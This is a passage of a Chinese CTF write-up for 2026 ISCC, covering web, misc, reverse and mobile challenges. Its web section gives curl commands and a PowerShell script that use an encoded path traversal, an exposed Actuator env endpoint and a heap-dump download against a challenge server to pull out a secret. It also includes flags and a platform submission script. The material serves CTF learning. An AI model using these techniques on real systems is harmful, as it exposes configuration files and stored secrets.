真正的突破口在于第三段 filename 不一定非要是普通文件名,它在后端解码后可以直接被当成绝对路径使用。因此可以把 payload 改成:
1 /config/app/dev/%2fapp%2fapplication.yml
这里的 %2fapp%2fapplication.yml 解码后正好变成 /app/application.yml。这一步没有使用 ../,而是直接“倒着走回根目录再指定目标文件”,也正好对应题面里的“倒着走路”。
成功读取后能看到真实配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 server: port: 8080 spring: application: name: cloud-config-central management: endpoints: web: base-path: "/internal-monitor-xyz123" exposure: include: "env" endpoint: env: keys-to-sanitize: "password,secret,key,token,.*credentials.*,vcap_services,FLAG" system: diagnostic: auto-dump: true last-crash-time: "2026-03-10T08:15:32Z" backup-download-path: ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}
这里有两个直接决定后续利用路线的点。第一个是 Spring Boot Actuator 被改到了 /internal-monitor-xyz123;第二个是只开放了 env 端点,并且明确把 FLAG 加进了脱敏列表。
继续访问:
1 /internal-monitor-xyz123/env
可以看到环境变量和配置来源。虽然 FLAG 显示为 ******,但同一份输出里还泄露了:
1 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH=/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat
这相当于开发者又留下了一个内部诊断转储下载入口。直接访问这个地址后,返回头里能看到:
1 2 Content-Disposition: attachment; filename="8e2f1a4b.dat" Content-Type: application/octet-stream
文件内容的头部是 JAVA PROFILE 1.0.2,说明这是一个 Java HPROF 堆转储。Actuator 输出虽然对 FLAG 做了脱敏,但真实值仍然会以字符串形式留在堆里。于是后续只要把这个转储文件下载下来,再做字符串提取并匹配 ISCC\{[^}]+\},就能直接把 flag 抠出来。
关键命令 先读出真实配置文件:
1 2 curl.exe -sS --path-as-is ^ "http://39.105.213.28:12602/config/app/dev/%2fapp%2fapplication.yml"
再读取 Actuator 环境信息:
1 2 curl.exe -sS ^ "http://39.105.213.28:12602/internal-monitor-xyz123/env"
最后下载堆转储并从中提取 flag:
1 2 3 4 5 curl.exe -sS -o ".\outputs\8e2f1a4b.dat" ^ "http://39.105.213.28:12602/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat" & "C:\Program Files (x86)\Dev-Cpp\MinGW64\bin\strings.exe" -a -n 20 ".\outputs\8e2f1a4b.dat" | Select-String -Pattern 'ISCC\{[^}]+\}'
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 param ( [string ]$BaseUrl = "http://39.105.213.28:12602" ) $ErrorActionPreference = "Stop" $caseRoot = "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Web\逆向穿越" $outDir = Join-Path $caseRoot "outputs" $stringsExe = "C:\Program Files (x86)\Dev-Cpp\MinGW64\bin\strings.exe" if (-not (Test-Path -LiteralPath $outDir )) { New-Item -ItemType Directory -Path $outDir | Out-Null } if (-not (Test-Path -LiteralPath $stringsExe )) { throw "strings.exe not found: $stringsExe " } $configUrl = "$BaseUrl /config/app/dev/%2fapp%2fapplication.yml" $configText = curl.exe -sS --path-as-is $configUrl $configPath = Join-Path $outDir "application-root.yml" Set-Content -LiteralPath $configPath -Value $configText $monitorMatch = [regex ]::Match($configText , 'base-path:\s*"?(?<path>/[^"\r\n]+)' )if (-not $monitorMatch .Success) { throw "Failed to locate management base-path in application.yml" } $monitorPath = $monitorMatch .Groups["path" ].Value$envUrl = "$BaseUrl $monitorPath /env" $envJson = curl.exe -sS $envUrl $envPath = Join-Path $outDir "env.json" Set-Content -LiteralPath $envPath -Value $envJson $envData = $envJson | ConvertFrom-Json $systemEnv = $envData .propertySources | Where-Object { $_ .name -eq "systemEnvironment" } | Select-Object -First 1 if (-not $systemEnv ) { throw "Failed to locate systemEnvironment property source" } $backupPath = $systemEnv .properties.SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH.valueif (-not $backupPath ) { throw "Failed to locate SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH" } $dumpName = Split-Path -Path $backupPath -Leaf $dumpPath = Join-Path $outDir $dumpName curl.exe -sS -o $dumpPath "$BaseUrl $backupPath " $flag = & $stringsExe -a -n 20 $dumpPath | Select-String -Pattern 'ISCC\{[^}]+\}' -AllMatches | ForEach-Object { $_ .Matches.Value } | Select-Object -Unique -First 1 if (-not $flag ) { throw "Flag not found in heap dump" } Write-Host "config url : $configUrl " Write-Host "env url : $envUrl " Write-Host "backup path : $backupPath " Write-Host "dump file : $dumpPath " Write-Host "flag : $flag "
验证输出 1 2 3 4 5 config url : http://39.105.213.28:12602/config/app/dev/%2fapp%2fapplication.yml env url : http://39.105.213.28:12602/internal-monitor-xyz123/env backup path : /api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat dump file : C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Web\逆向穿越\outputs\8e2f1a4b.dat flag : ISCC{Double_Decode_Spring_Bingo_2026}
问题与解决 这题最容易误判的地方,是一开始把注意力全部放在相对路径穿越上。实际上服务端的过滤器对 ../ 和相关编码做了非常直接的封锁,继续在这条线上硬拧很容易浪费时间。
另一个容易卡住的位置是拿到 /internal-monitor-xyz123/env 以后,看到 FLAG 被脱敏就误以为线索断掉了。这里真正该看的不是脱敏本身,而是同一份输出里有没有其他内部路径或诊断配置。顺着 SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH 继续走,整条链就重新接上了。
知识点总结 这题把几个很典型但平时不总会连在一起的知识点串得很顺:一是配置中心类接口如果把用户输入直接拼进文件读取逻辑,就要警惕“绝对路径”这种比 ../ 更隐蔽的穿越方式;二是 Spring Boot Actuator 即使做了字段脱敏,也不代表旁路信息不会继续泄露;三是 Java 堆转储这类诊断文件一旦暴露,往往足以把本来已经“隐藏”的敏感值重新找回来。
从做题习惯上说,这题也很适合提醒自己一句:看到“过滤器很严”时,不一定非要继续和同一类 payload 死磕,换一个语义层级去想目标对象,有时反而会更快。
最终 Flag 1 ISCC{Double_Decode_Spring_Bingo_2026}
Misc 喧宾夺主的信号 题目信息
项目
内容
附件
attachment-17.pcapng
题目
网络管理员抓取到了一段可疑流量,但其中绝大部分都是被攻陷摄像头持续广播的垃圾组播流量。真正的秘密指令并不在最喧闹的地方,而是藏在“声东击西”的提示之后。
关键点
流量筛选、Base64、AES ZIP、PNG LSB 隐写
解题思路 这道题的提示其实已经非常明显: 大部分流量只是“喧宾”的噪声,真正值得看的内容应该藏在别处。
先对抓包做协议统计,发现总共 1509 个包里,有 1500 个都是 192.168.1.100 -> 239.255.255.250:1900 的 UDP 组播,只有 9 个 TCP 包发往 45.78.1.1:80。这种比例很像故意用广播流量掩护少量有效指令,因此分析重点先放在 TCP 上。
1 2 3 capinfos attachment-17.pcapng tshark -r attachment-17.pcapng -q -z io,phs tshark -r attachment-17.pcapng -q -z conv,udp -z conv,tcp
在 TCP 流里可以看到一个 POST /command 请求,正文是 JSON,其中有两个关键字段:
note: This is the real command.
instruction: UEsDB...
instruction 以 UEsDB 开头,明显是 ZIP 的 Base64 编码。解出来后得到一个 AES 加密压缩包,里面只有一个 image.png,但还缺少解压密码。
第一层: 先看少量 TCP 真指令 HTTP 请求体里的 instruction 可以直接 Base64 解码为 ZIP 文件:
1 2 3 4 5 import base64import jsonobj = json.loads(body.decode()) zip_bytes = base64.b64decode(obj["instruction" ])
这一步只能拿到 command.zip。题面又专门提醒“那些看似无意义的广播中,藏着打开真正宝藏的钥匙”,所以必须回头检查 UDP 组播。
第二层: 在组播噪声里找密码 那 1500 个 UDP 广播包的 payload 长度都差不多,看起来像是一堆 Base64 风格字符串。大部分逐个解码后都是随机噪声,但其中有一个包单独解码后会直接得到明文:
这串内容和题目提示完全对应:
ShengDongJiXi 对应“声东击西”
36-1-6 对应《三十六计》第一套第六计
因此它就是 ZIP 的密码。
第三层: 解压图片并识别隐写 使用密码 ShengDongJiXi@36-1-6 解压后得到 image.png。图片尺寸是 100x100,肉眼看上去几乎是一整块纯色,没有直接可见的文字。
但统计像素值后会发现它不是真正的纯色图,而是只在最低位上有变化:
R 通道只在 72/73 间波动
G 通道只在 108/109 间波动
B 通道只在 136/137 间波动
这正是典型的 LSB 隐写特征。按行优先读取像素,再按 RGB 顺序取每个通道的最低位,最后按高位在前拼成字节,就能直接还原出 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from PIL import Imageim = Image.open ("image.png" ).convert("RGB" ) bits = [] for y in range (im.height): for x in range (im.width): r, g, b = im.getpixel((x, y)) bits.extend([r & 1 , g & 1 , b & 1 ]) out = bytearray () for i in range (0 , len (bits) // 8 * 8 , 8 ): value = 0 for bit in bits[i:i + 8 ]: value = (value << 1 ) | bit out.append(value) print (out[:64 ].decode(errors="ignore" ))
输出开头就是:
1 ISCC{1d3f1c4t10n_14Xs_txh3_k93y_t0_vQ1ct0ryz}
最终 Flag 1 ISCC{1d3f1c4t10n_14Xs_txh3_k93y_t0_vQ1ct0ryz}
小结 这题把“喧宾夺主”和“声东击西”两个提示用得很完整: 真正的攻击指令藏在少量 TCP 通信里,但要解开它,又必须回到那片看似无意义的 UDP 广播中找密码,最后再通过纯色图片的 RGB 最低位取出 flag,整条链路首尾呼应。
黑白琴弦 题目信息
项目
内容
比赛来源
2026ISCC
阶段
区域赛
赛项
练武题
分类
Misc
题目名称
黑白琴弦
附件
attachment-18.rar
原始附件 SHA256
E24874FD9FB6D46A45803034029C60D89003B32ED5E2F5C6004CDCE3E7F8DE52
二次压缩包
score.rar
score.rar SHA256
C7FF50552EE7AB626B2822EE0D4F65F9C55BA8FE008551932B9B18C16D90D9F5
乐谱 PDF
music score.pdf
PDF SHA256
E103001C8CE78DC6F037F983F5B0F8BC68921B8F802076CF62AF9162036D45E8
解题思路 附件解开后得到 21 张条形码图片。每张 PNG 不止一层信息,除了肉眼可见的条形码,还额外藏了 PNG Comment 文本块和顶行像素位。把这些通道分别拆出来后,可以看到一条很关键的提示 innote,同时还能得到一批可重排的十六进制片段。
真正的突破点在于把这些片段按正确顺序重排成 QR 候选图。对生成出的候选图扫码后,直接得到 score.rar 的密码 IvrOkCp6Bfk7Qgr。这一步走通以后,题目的后半段就会明显收束。
用这个密码解开 score.rar,得到一份 music score.pdf。表面上它只是初学者版《Fur Elise》钢琴谱,但 PDF 内容流里还藏着一段文本:
1 KEY+bnVtYmVyYWJvdmVsaW5l3
其中前半段 bnVtYmVyYWJvdmVsaW5l 做 Base64 解码后是 numberaboveline,最后那个 3 是字面量后缀,所以完整提示其实是:
也就是说,最终答案由两部分组成:前半段直接取已经验证过的 KEY,后半段去读乐谱第 3 行上方的数字。
回到乐谱后,只看第 3 行高音谱表上方的指法数字,顺次可以读到:
于是最终 flag 直接按提示组装:
1 ISCC{IvrOkCp6Bfk7Qgr4151515}
关键命令 1 python .\scripts\recover_key_and_hint.py --digits 4151515
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from __future__ import annotationsimport argparseimport base64import reimport sysfrom pathlib import Pathfrom PIL import Imagefrom pypdf import PdfReaderPYZBAR_SITE_PACKAGES = Path( r"C:\Users\glj07\Desktop\ctftools-all-in-one\libdll\up3\yinjia\Lib\site-packages" ) if str (PYZBAR_SITE_PACKAGES) not in sys.path: sys.path.append(str (PYZBAR_SITE_PACKAGES)) from pyzbar.pyzbar import decodeCASE_DIR = Path(__file__).resolve().parents[1 ] QR_PATH = CASE_DIR / "outputs" / "wrapsort_qr_candidate.png" PDF_PATH = CASE_DIR / "outputs" / "score_extracted" / "music score.pdf" def decode_qr_key (qr_path: Path ) -> str : decoded = decode(Image.open (qr_path)) if not decoded: raise RuntimeError(f"failed to decode QR from {qr_path} " ) return decoded[0 ].data.decode("utf-8" ) def extract_pdf_hint (pdf_path: Path ) -> tuple [str , str ]: reader = PdfReader(str (pdf_path)) page = reader.pages[0 ] contents = page.get_contents() if isinstance (contents, list ): data = b"" .join(obj.get_data() for obj in contents) else : data = contents.get_data() content_text = data.decode("latin1" , errors="replace" ) match = re.search(r"\[<([0-9A-Fa-f]+)>\]TJ" , content_text) if not match : raise RuntimeError("failed to locate hidden PDF text object" ) hidden_raw = bytes .fromhex(match .group(1 )).decode("utf-8" ) left, right = hidden_raw.split("+" , 1 ) suffix_match = re.match (r"^([A-Za-z0-9+/=]+?)(\d+)$" , right) if suffix_match: encoded_body, literal_suffix = suffix_match.groups() hidden_hint = ( f"{left} +{base64.b64decode(encoded_body).decode('utf-8' )} {literal_suffix} " ) else : hidden_hint = f"{left} +{base64.b64decode(right).decode('utf-8' )} " return hidden_raw, hidden_hint def main () -> None : parser = argparse.ArgumentParser( description="Recover the QR key and hidden PDF hint for 黑白琴弦." ) parser.add_argument( "--digits" , help ="Digits read from the numbers above line 3, for example 4151515." , ) args = parser.parse_args() qr_key = decode_qr_key(QR_PATH) hidden_raw, hidden_hint = extract_pdf_hint(PDF_PATH) print (f"qr_key = {qr_key} " ) print (f"pdf_hidden_raw = {hidden_raw} " ) print (f"pdf_hidden_hint = {hidden_hint} " ) if args.digits: print (f"flag = ISCC{{{qr_key} {args.digits} }}" ) if __name__ == "__main__" : main()
验证输出 1 2 3 4 qr_key = IvrOkCp6Bfk7Qgr pdf_hidden_raw = KEY+bnVtYmVyYWJvdmVsaW5l3 pdf_hidden_hint = KEY+numberaboveline3 flag = ISCC{IvrOkCp6Bfk7Qgr4151515}
最终 flag 1 ISCC{IvrOkCp6Bfk7Qgr4151515}
总决赛 Reverse 手忙脚乱 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
分类
Reverse
题目名称
手忙脚乱
题面描述
慌不择路
题目 ID
62
分值
300
附件
attachment-62.exe
附件 SHA256
39F450733246F900D7C5D5201A400FC4DD8735F8A7DB8B5C91915ACBFBE29464
解题思路 这题表面上是一个交互式 EXE,程序启动后会连续要求输入两次 24 字符明文。第一眼很容易把它当成“先过第一关、再过第二关、最终把两段拼起来提交”的普通双阶段校验,但实际平台提交格式并不是这样。
关键判断来自两个方向。一个是程序内部确实存在两次独立的 24 字节比较,说明至少要把两轮输入都还原出来。另一个是平台验证时,只有第二轮内容包成 ISCC{...} 才会被接受,其余像“只交第一轮”“两轮直接拼接”“把第一轮塞进 ISCC{}”这些思路都会失败。
真正的坑点主要集中在字符串变换细节上。如果把轮常量、列置换读出方向、或者按 bit 驱动的字符替换流程理解错,最后会得到一堆看起来很像、但始终对不上的伪答案。
技术实施 先从常量恢复入手。程序里有一段类似分组算法轮函数的解密逻辑,前面最容易误判的地方是 delta 初值。这里不是从固定常量开始递推,而是从 0 开始,每轮减去 0x61C88647。把这一点修正后,才能正确恢复出后续参与列置换的关键常量。
接着分析列置换函数。正确逻辑是先把文本按行填入矩阵,再根据 key 排序后的列顺序,按列从上到下依次读出。把读出方向弄反时,看上去也会得到“像英文字符串一样”的结果,但后面所有比较都会偏掉。
第二阶段还有一个更隐蔽的坑:48 个 key bit 并不是对整串文本反复做 48 轮替换,而是每个 bit 只作用在当前字符串中的一个字符上。24 个字符全部处理完以后,程序才会做一次大置换,因此整个过程实际只有两轮大置换。按这个思路修正后,两轮明文都能稳定恢复出来:
1 2 第一轮:,XMDa=e>E?KUEZYnbDft^Ci: 第二轮:{[3'3Dbh+tkZ@|I_\3V>ruYa
关键命令 平台复核脚本使用登录态和 nonce 提交 challenge 62。这里重新提交正确答案时返回 2,表示该账号已经做通过这题,而不是答案错误。
1 2 3 $env:ISCC_USERNAME ="琉璃幻彩" $env:ISCC_PASSWORD ="***" python .\scripts\verify_flag.py
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import osimport reimport requestsBASE = "https://iscc.isclab.org.cn" CHAL_ID = 62 FLAG = r"ISCC{{[3'3Dbh+tkZ@|I_\3V>ruYa}" NONCE_RE = re.compile (r'id="nonce"[^>]*value\s*=\s*"?([0-9a-fA-F]+)"?' ) def main () -> None : user = os.environ.get("ISCC_USERNAME" ) password = os.environ.get("ISCC_PASSWORD" ) if not user or not password: raise SystemExit("Please set ISCC_USERNAME and ISCC_PASSWORD in the environment." ) with requests.Session() as session: login = session.post( f"{BASE} /login" , data={"name" : user, "password" : password}, timeout=20 , ) login.raise_for_status() page = session.get(f"{BASE} /challenges" , timeout=20 ) page.raise_for_status() match = NONCE_RE.search(page.text) if not match : raise RuntimeError("Failed to locate nonce on /challenges page." ) nonce = match .group(1 ) resp = session.post( f"{BASE} /chal/{CHAL_ID} " , data={"key" : FLAG, "nonce" : nonce}, timeout=20 , ) resp.raise_for_status() print (resp.text.strip()) if __name__ == "__main__" : main()
验证输出 第一轮动态验证时,正确输入会让程序第一次 memcmp 返回 0,说明第一轮已经真正通过。第二轮按同样方式恢复后,用平台接口复核可得到最终 flag。
本题本地还原出的两轮输入如下:
1 2 ,XMDa=e>E?KUEZYnbDft^Ci: {[3'3Dbh+tkZ@|I_\3V>ruYa
问题与解决 这题最折磨人的地方不是算不出,而是特别容易“差一点对”。前面一度把轮常量初值当成固定值,又一度把列置换理解成按行读出,都会得到貌似合理但始终过不去的候选。真正把这几个细节全部纠正以后,结论才会完全收敛。
另一个容易误判的点是平台返回值。第一次正确提交会回 1,后续再次提交同一正确答案则返回 2。如果不结合前面的首次验证记录,就容易把 2 错看成失败。
知识点总结 这类题最怕“只像不像”。当变换链条比较长时,单看中间结果像不像可读字符串其实不可靠,更稳的方法是抓住程序真正比较的位置,利用动态验证确认某一轮是否已经过关,再继续向后推。
同时,平台提交流程本身也值得单独复核。题目本地校验通过,不代表平台最终提交格式一定等于程序输入格式,像这题就是典型的“程序有两轮输入,但平台只收第二轮包进 flag”。
最终 flag 1 ISCC{{[3'3Dbh+tkZ@|I_\3V>ruYa}
Conway’s trap 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
分类
Reverse
题目名称
Conway’s trap
题面描述
好多坑的陷阱
题目 ID
63
分值
350
附件
attachment-63.zip
附件 SHA256
4FD9CA7BC8996CC7BCCEBF01546FAA1531E84EA9F1FCFCA2C01B5326FAE389DA
解题思路 这题最容易被带偏的地方,是程序非常主动地往外吐“看起来像答案”的内容。前半段先要求输入一串 32 位十六进制 seed,后半段再要求输入 ISCC{...} 形式的 flag。照着表层逻辑一路逆下去,确实能得到一条非常像自然语言的英文句子,但那条内容提交到平台以后会直接判错。
真正的关键在题目名里的 trap。程序表面分支只是在制造一个假门,真正决定 seed 是否被改写、以及最终 flag 是否成立的逻辑,被藏在 INT3 + Vectored Exception Handler 的异常处理链里。只有把这个隐藏分支也一起逆完,才能拿到平台真正接受的 flag。
技术实施 先看 seed 校验。程序要求输入 32 个十六进制字符,解码成 16 字节以后连续做 5 轮相同变换,再和硬编码串 df7b6a5d4da0f5facf32c4ee4b28b792 比较。每轮逻辑可以还原成“按两字节做一次加法和 1 bit 循环左移,再整体左移 1 字节”。把这 5 轮逆回去以后,可以稳定恢复出正确 seed:
1 0b5e321c68e0e4fb2d972226e8c70f8d
接着分析第二段常规分支。fcn.00401eb0 会把花括号里的内容逐字节和 seed 循环异或、再相加,最后编码成十六进制,与全局长串比较。把这段直接逆出来以后,得到的明文是:
1 Evergreenbroadleafforestsdonotshedtheirleavesinwinter
这一步非常像“已经解出来了”,但把 ISCC{Evergreenbroadleafforestsdonotshedtheirleavesinwinter} 提交到平台会判错,说明这里只是 trap 明文,不是真 flag。
继续往下追,发现程序启动阶段会调用 fcn.00401e00,动态寻找 RtlAddVectoredExceptionHandler,然后把 fcn.00401cb0 首字节改成 0xCC。也就是说,后面每次进入这个函数,都会触发 INT3 异常,再由异常处理器把执行流重定向到真正的隐藏校验函数 0x401d00。这正是题目里“倒着走路”的核心。
隐藏校验函数里埋了一段 23 字节目标数据,先整体与 0xCC 异或恢复,再逐字节校验输入。校验关系可以整理成:
1 target[i] = rol3(((seed[i & 0xf] ^ inner[i]) + (i * 0x17)) & 0xff) ^ 0xaa
因此逆向恢复公式就是:
1 inner[i] = ((ror3(target[i] ^ 0xaa) - ((i * 0x17) & 0xff)) & 0xff) ^ seed[i & 0xf]
按这个公式逐字节反推,得到真正的 23 字节内容:
最后把它按程序要求包进完整格式,再用最终哈希校验函数 fcn.00401a10 复核,结果命中常量 0x9180E884。也就是说平台真正接受的 flag 是:
1 ISCC{Nstw{9Hav6sar)Lde+tr5[5}
这里还有一个很容易迟疑的小坑:内层字符串里本身还带一个左花括号,所以最终 flag 会出现双左花括号的视觉效果,但这正是平台接受的真实答案。
关键命令 1 2 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\Reverse\Conway’s trap\scripts\solve_conways_trap.py" python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\scripts\submit_flag.py" 63 "ISCC{Nstw{9Hav6sar)Lde+tr5[5}"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 from __future__ import annotationsSEED_TARGET_HEX = "df7b6a5d4da0f5facf32c4ee4b28b792" TRAP_TARGET_HEX = ( "5986898a77726599708c726f716a72757596868f82657b8a8b8a6f6e6f7a8b7279" "98789075697a92758d7669837570876d8e789582" ) FINAL_HASH = 0x9180E884 def rol8 (value: int , bits: int ) -> int : value &= 0xFF return ((value << bits) | (value >> (8 - bits))) & 0xFF def ror8 (value: int , bits: int ) -> int : value &= 0xFF return ((value >> bits) | (value << (8 - bits))) & 0xFF def rol32 (value: int , bits: int ) -> int : value &= 0xFFFFFFFF return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF def seed_round (block: bytes ) -> bytes : data = list (block) first = data[0 ] mixed: list [int ] = [] for index in range (0 , 16 , 2 ): left = data[index] right = data[index + 1 ] total = (left + right) & 0xFF mixed.append(total) mixed.append(rol8((total ^ right) & 0xFF , 1 )) return bytes (mixed[1 :] + [first]) def invert_seed_round (block: bytes ) -> bytes : mixed = [block[15 ]] + list (block[:15 ]) out = [0 ] * 16 for index in range (0 , 16 , 2 ): total = mixed[index] mixed_right = mixed[index + 1 ] right = rol8(mixed_right, 7 ) ^ total left = (total - right) & 0xFF out[index] = left out[index + 1 ] = right return bytes (out) def recover_seed () -> bytes : state = bytes .fromhex(SEED_TARGET_HEX) for _ in range (5 ): state = invert_seed_round(state) return state def recover_trap_plaintext (seed: bytes ) -> str : target = bytes .fromhex(TRAP_TARGET_HEX) plain = bytes ((((value - seed[index & 0xF ]) & 0xFF ) ^ seed[index & 0xF ]) for index, value in enumerate (target)) return plain.decode() def recover_hidden_inner (seed: bytes ) -> str : encoded = bytearray () for word in (0xE3C5444C , 0xBFD7041D , 0x44DFE5FE , 0x744AAE13 , 0x7F418190 ): encoded += word.to_bytes(4 , "little" ) encoded += bytes ((0x2F , 0x92 , 0x38 )) target = bytes (byte ^ 0xCC for byte in encoded) plain = bytes ( ( ((ror8(value ^ 0xAA , 3 ) - ((index * 0x17 ) & 0xFF )) & 0xFF ) ^ seed[index & 0xF ] ) for index, value in enumerate (target) ) return plain.decode() def verify_hidden_inner (seed: bytes , inner: str ) -> bool : encoded = bytearray () for word in (0xE3C5444C , 0xBFD7041D , 0x44DFE5FE , 0x744AAE13 , 0x7F418190 ): encoded += word.to_bytes(4 , "little" ) encoded += bytes ((0x2F , 0x92 , 0x38 )) target = bytes (byte ^ 0xCC for byte in encoded) data = inner.encode() if len (data) != len (target): return False for index, byte in enumerate (data): value = seed[index & 0xF ] ^ byte value = (value + ((index * 0x17 ) & 0xFF )) & 0xFF value = rol8(value, 3 ) ^ 0xAA if value != target[index]: return False return True def hash_stage (data: bytes , rounds: int ) -> int : state = 0xDEADBEEF for index in range (min (rounds, len (data))): byte = data[index] mixed = ((state << 13 ) & 0xFFFFFFFF ) ^ byte state = (state ^ mixed) & 0xFFFFFFFF mixed = state ^ (state >> 17 ) mixed = (mixed - 0x61C88647 ) & 0xFFFFFFFF mixed = rol32(mixed, 7 ) state = (mixed * 0x85EBCA77 ) & 0xFFFFFFFF state ^= state >> 16 state = (state * 0x045D9F3B ) & 0xFFFFFFFF return state def verify_final_flag (flag: str ) -> bool : data = flag.encode() stage_one = hash_stage(data, 5 ) stage_two = hash_stage(data, 3 ) stage_three = hash_stage(data, 4 ) stage_one_mix = stage_one ^ (stage_one >> 16 ) stage_two_mix = stage_two ^ (stage_two >> 16 ) stage_three_mix = stage_three ^ (stage_three >> 16 ) eax = (stage_two_mix ^ stage_one_mix) & 0xFFFFFFFF eax = (eax - (stage_two_mix >> 5 )) & 0xFFFFFFFF eax = (eax + (stage_one_mix * 8 )) & 0xFFFFFFFF eax = (eax * stage_three_mix) & 0xFFFFFFFF result = ((eax >> 11 ) ^ ((eax << 5 ) & 0xFFFFFFFF )) & 0xFFFFFFFF return result == FINAL_HASH def main () -> None : seed = recover_seed() trap_plaintext = recover_trap_plaintext(seed) true_inner = recover_hidden_inner(seed) flag = f"ISCC{{{true_inner} }}" print (f"seed={seed.hex ()} " ) print (f"trap_plaintext={trap_plaintext} " ) print (f"true_inner={true_inner} " ) print (f"flag={flag} " ) print (f"hidden_check_ok={verify_hidden_inner(seed, true_inner)} " ) print (f"final_hash_ok={verify_final_flag(flag)} " ) if __name__ == "__main__" : main()
验证输出 本地脚本会同时输出 trap 明文和真正的 flag 内容,便于区分两条分支各自的含义。
首次正确提交时平台返回 1,表示答案命中。后续再次复核会返回 2,表示该账号已经通过这题,这同样说明当前 flag 是正确的。
问题与解决 这题最容易卡住的地方不是逆不出算法,而是逆出了一条“非常像真的”假答案。前面那句 Evergreenbroadleafforestsdonotshedtheirleavesinwinter 本身完全可读,而且也确实来自程序校验分支,第一次看到时很容易直接拿去提交。
真正把题做穿以后,会发现它只是表层 trap。只有继续追到异常处理器,把 INT3 重定向进去的隐藏校验也逆完,才能解释为什么程序会在某些情况下把 seed 前两字节改成 DE AD,以及为什么最终平台只接受那条 23 字节的真内容。
知识点总结 这题很适合提醒自己一个习惯:反汇编里“会说人话的结果”不一定比“难看但能闭环的结果”更真。遇到题目本身就强调 trap、maze、whisper 这类词时,看到可读明文之后最好先做一次独立验证,不要急着相信第一眼答案。
另一个很重要的点是异常驱动控制流。INT3、SEH、VEH 这类机制在 Windows Reverse 题里很常见,表面代码和真实代码可能根本不是一条路。这题的真解正是靠异常处理器把执行流从 0x401cb0 改到 0x401d00,属于非常典型的“看起来在正着走,实际上要顺着异常倒着还原”。
最终 flag 1 ISCC{Nstw{9Hav6sar)Lde+tr5[5}
Mobile 消失的喵星密使 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
分类
Mobile
题目名称
消失的喵星密使
题目 ID
66
分值
250
附件
app-release.apk
APK SHA256
911AF04D8DAE63E56228602D41A290ADADD88EE0388D122D340934013D29FE9E
最终 flag
ISCC{whi5ker_7r4ce_ayAP}
解题思路 这题外层是一个 6 x 6 的猫咪图标盘,内层则是 Java 加 JNI 混合校验。只盯着 Java 层会觉得已经快到答案了,因为按钮路线最终确实会被拼成一个字符串再做 MD5;但真正的 flag 并不是这条路线本身,而是它参与 native 里的二次加密之后才会吐出的那段明文。
因此整体路线要分成两段。先把界面里的正确路线完整还原出来,确认自己走的是哪条猫爪轨迹;再去拆 libmobile03.so,把 hint.png 里藏着的自定义 S 盒抽出来,复刻 native 里的 AES-256 风格流程,最后把内层明文直接解回去。
技术实施 Java 层入口在 MainActivity。用户点击 6 个图标后,_B._q() 会把路线编码成一个 12 字符串,_C._c() 校验它的 MD5 是否等于固定值 0899ffac222b48317a57149d6df056c0。输入框中的 flag 会先经 _B._g() 去掉外层 ISCC{},最后只把花括号里的正文传给 native 函数 _A.check(...)。
题目给的 OBSERVER_PROTOCOL 不是普通文本,而是十六进制编码。解开以后能拿到 6 个观察点的约束,再结合界面提示语和 hint.png 上的图标位置,就能把 6 个点唯一还原成下面这组坐标:
点位
坐标
图标语义
编码
P1
(1,1)
爪印
VV
P2
(2,4)
蝴蝶
FG
P3
(3,6)
绿植
DX
P4
(4,2)
太阳
GF
P5
(5,6)
哭脸猫
AX
P6
(6,1)
黑猫
XV
把六段拼起来以后,正确路线就是:
对这条路线做 MD5,结果正好命中 Java 层的目标值,说明第一段已经走对。
接下来进入 native。_f_ext 会扫描 hint.png 的像素数据,从每个像素某一字节的最低位依次抠出 262 字节。前 4 字节必须是 MEOW,后面 256 字节就是整题使用的自定义 S 盒。这里直接按 RGBA 字节流、取第三个通道的最低位、按 MSB first 还原,即可稳定取出这张表。
_f1 则先把路线字符串做一次按列重排,得到:
随后它每次取两个字符,把 A / D / F / G / V / X 看成 0 到 5 的坐标值,索引自定义 6 x 6 字母表:
